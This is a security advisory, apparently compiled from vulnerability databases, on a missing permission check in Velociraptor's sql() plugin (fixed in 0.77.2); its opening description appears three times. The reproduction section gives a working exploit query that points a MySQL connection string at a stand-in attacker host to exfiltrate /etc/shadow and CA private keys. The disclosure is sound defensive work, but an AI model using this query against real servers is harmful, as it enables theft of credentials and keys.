Velociraptor is a tool for collecting host-based state information using Velociraptor Query Language (VQL) queries. Prior to 0.77.2, SQLPlugin.Call in vql/parsers/sql/sql.go does not enforce plugin-level FILESYSTEM_READ or NETWORK checks before the mysql and postgres branches pass a caller-controlled connstring to sql.Open, allowing arbitrary outbound database connections. With attacker-controlled MySQL connection options that enable local-infile access, a rogue MySQL server can request files readable by the Velociraptor server process, including root-readable files when that process runs as root. The SQLite file accessor still enforces FILESYSTEM_READ, but a low-privilege analyst with ANY_QUERY can use the zero-permission data accessor and ATTACH DATABASE to create files without the plugin-level check. This issue is fixed in version 0.77.2.
Velociraptor is a tool for collecting host-based state information using Velociraptor Query Language (VQL) queries. Prior to 0.77.2, SQLPlugin.Call in vql/parsers/sql/sql.go does not enforce plugin-level FILESYSTEM_READ or NETWORK checks before the mysql and postgres branches pass a caller-controlled connstring to sql.Open, allowing arbitrary outbound database connections. With attacker-controlled MySQL connection options that enable local-infile access, a rogue MySQL server can request files readable by the Velociraptor server process, including root-readable files when that process runs as root. The SQLite file accessor still enforces FILESYSTEM_READ, but a low-privilege analyst with ANY_QUERY can use the zero-permission data accessor and ATTACH DATABASE to create files without the plugin-level check. This issue is fixed in version 0.77.2.
Velociraptor is a tool for collecting host-based state information using Velociraptor Query Language (VQL) queries. Prior to 0.77.2, SQLPlugin.Call in vql/parsers/sql/sql.go does not enforce plugin-level FILESYSTEM_READ or NETWORK checks before the mysql and postgres branches pass a caller-controlled connstring to sql.Open, allowing arbitrary outbound database connections. With attacker-controlled MySQL connection options that enable local-infile access, a rogue MySQL server can request files readable by the Velociraptor server process, including root-readable files when that process runs as root. The SQLite file accessor still enforces FILESYSTEM_READ, but a low-privilege analyst with ANY_QUERY can use the zero-permission data accessor and ATTACH DATABASE to create files without the plugin-level check. This issue is fixed in version 0.77.2.
## Summary
The `sql()` VQL plugin runs a caller-supplied database driver and connection string with no permission check (`vql/parsers/sql/sql.go:93`, `SQLPlugin.Call`). For `driver='mysql'` or `driver='postgres'` the handle comes from `GetHandleOther` (`sql.go:39`), which passes the connection string straight to Go `database/sql` `sql.Open` (`sql.go:51`) and executes the query (`sql.go:159`).
The plugin declares `FILESYSTEM_READ` only as `Info().Permissions` metadata (`sql.go:219`). That metadata is never consulted at runtime: `metadata.go:19` stores it as a string that only the documentation exporter reads (`api/reflect.go:82-110`). Every sibling network plugin (`http_client`, `netcat`, `s3`, `rsyslog`) calls `CheckAccess(acls.NETWORK)` in its own body; `sql()` calls nothing.
The built-in `analyst` role holds `ANY_QUERY` but not `FILESYSTEM_READ` or `NETWORK` (`acls/roles.go:222`), and reaches this sink through the notebook query API.
Result: a low-priv analyst opens arbitrary outbound TCP connections and, through a rogue MySQL server's `LOAD DATA LOCAL INFILE`, reads any file the root-running server can read, including the deployment CA private key.
## Affected
- Velocidex/velociraptor server, `<= v0.77.1` (latest release, 2026-06-23). Identical vulnerable code in `master` HEAD `1961e79` (2026-07-17).
- Confirmed live-exploitable on the official `ghcr.io/velocidex/velociraptor-server:latest` image (build 0.77.1, commit bbe2a58).
- Stock install, default Basic authenticator, any built-in `analyst`, `investigator`, or `api` role (all hold `ANY_QUERY`, none holds `FILESYSTEM_READ` or `NETWORK`).
- No non-default flag required.
## Root cause
`SQLPlugin.Call` (`vql/parsers/sql/sql.go:93`) parses the caller `driver`, `connstring`, and `query` arguments and reaches `handle.Query` (`sql.go:159`) without any `vql_subsystem.CheckAccess` call in its body. For `driver='mysql'` or `driver='postgres'` the handle comes from `GetHandleOther` (`sql.go:39`), which hands the attacker connection string to `sql.Open` (`sql.go:51`), so the plugin dials an arbitrary host and, through the MySQL client `LOAD DATA LOCAL INFILE` feature, reads local files. The plugin states its intended gate only as metadata, `VQLMetadata().Permissions(acls.FILESYSTEM_READ)` (`sql.go:219`), but `MetadataBuilder.Permissions` merely stores a string (`vql/metadata.go:19`) that is read only by the reflection exporter (`api/reflect.go:82-110`), never by the query engine. Every sibling network plugin enforces `CheckAccess(acls.NETWORK)` in its own body, so the omission in `sql()` is an enforcement oversight. The default `analyst` role grants `ANY_QUERY` without `FILESYSTEM_READ` or `NETWORK` (`acls/roles.go:222`), so a user the operator deliberately restricted still reaches the ungated sink.
Note on intent: `acls/acls.go` documents that specific permission combinations grant admin-equivalent power (`SERVER_ARTIFACT_WRITER` with `COLLECT_SERVER`, `ARTIFACT_WRITER` with `COLLECT_CLIENT`), but the `analyst` role holds none of them and is denied `EXECVE`, `NETWORK`, and `FILESYSTEM_READ` on every sibling plugin. If `ANY_QUERY` is nonetheless intended as trusted, the plugin's own `Permissions(FILESYSTEM_READ)` metadata and the runtime enforcement on all sibling plugins are misleading and should be reconciled; otherwise this is a missing runtime check.
## Reproduction
`ghcr.io/velocidex/velociraptor-server:latest` (v0.77.1), default config, GUI on `https://localhost:8889`, one built-in `analyst` user.
1) As `analyst`, confirm the control: the gated accessor denies the read.
sql(driver='sqlite', accessor='file', file='/etc/passwd', query='SELECT 1')
=> sql: Field file Accessor file: PermissionDenied: Permission denied: [FILESYSTEM_READ]
2) Start a rogue MySQL server on an attacker host that completes the handshake and answers any query with a `LOAD DATA LOCAL INFILE <target>` packet.
3) As the same `analyst`, call the ungated branch through the notebook query API:
POST /api/v1/UpdateNotebookCell (Basic auth + x-csrf-token)
{"type":"vql","input":"SELECT * FROM sql(driver='mysql',
connstring='x:y@tcp(<ATTACKER>:4499)/z?allowAllFiles=true', query='SELECT 1')"}
The rogue server receives the file:
QUERY: 'SELECT 1'
EXFIL 12860 bytes /etc/velociraptor/server.config.yaml
contains: CA private_key, gw_private_key, Frontend private_key
Live-verified: analyst `pocdemo` exfiltrated `/etc/passwd`, `/etc/shadow` (mode 0600), and `server.config.yaml`, each sha256 byte-identical to `docker exec sha256sum`, while `http_client()` on the same account returns `PermissionDenied: [NETWORK]`.
## Impact
* CA and Frontend RSA private keys disclosed: forge client certificates, impersonate the server to every enrolled endpoint.
* Any root-readable file on the server host disclosed (`/etc/shadow`, datastore user records with password hashes, cross-tenant `orgs` data).
* Arbitrary outbound TCP from the server host through the same sink and the `upload_sftp`, `upload_smb`, `upload_azure`, `upload_gcs` plugins.
* Root-owned file creation at any path via the `sqlite` branch (zero-permission `data` accessor plus an in-query `ATTACH DATABASE`).
* Triggered by the lowest built-in query role, default config, one query, no admin interaction.
## Credit
Jan Kahmen, [turingpoint](https://www.turingpoint.de) ([email protected])
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Nov 6, 2026, 8:23:33 PM
dateUpdated: Nov 10, 2026, 8:09:49 PM
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NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-862
Original publisher date fields
published: 2026-11-06T21:17:11.940
lastModified: 2026-11-12T22:18:51.470
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.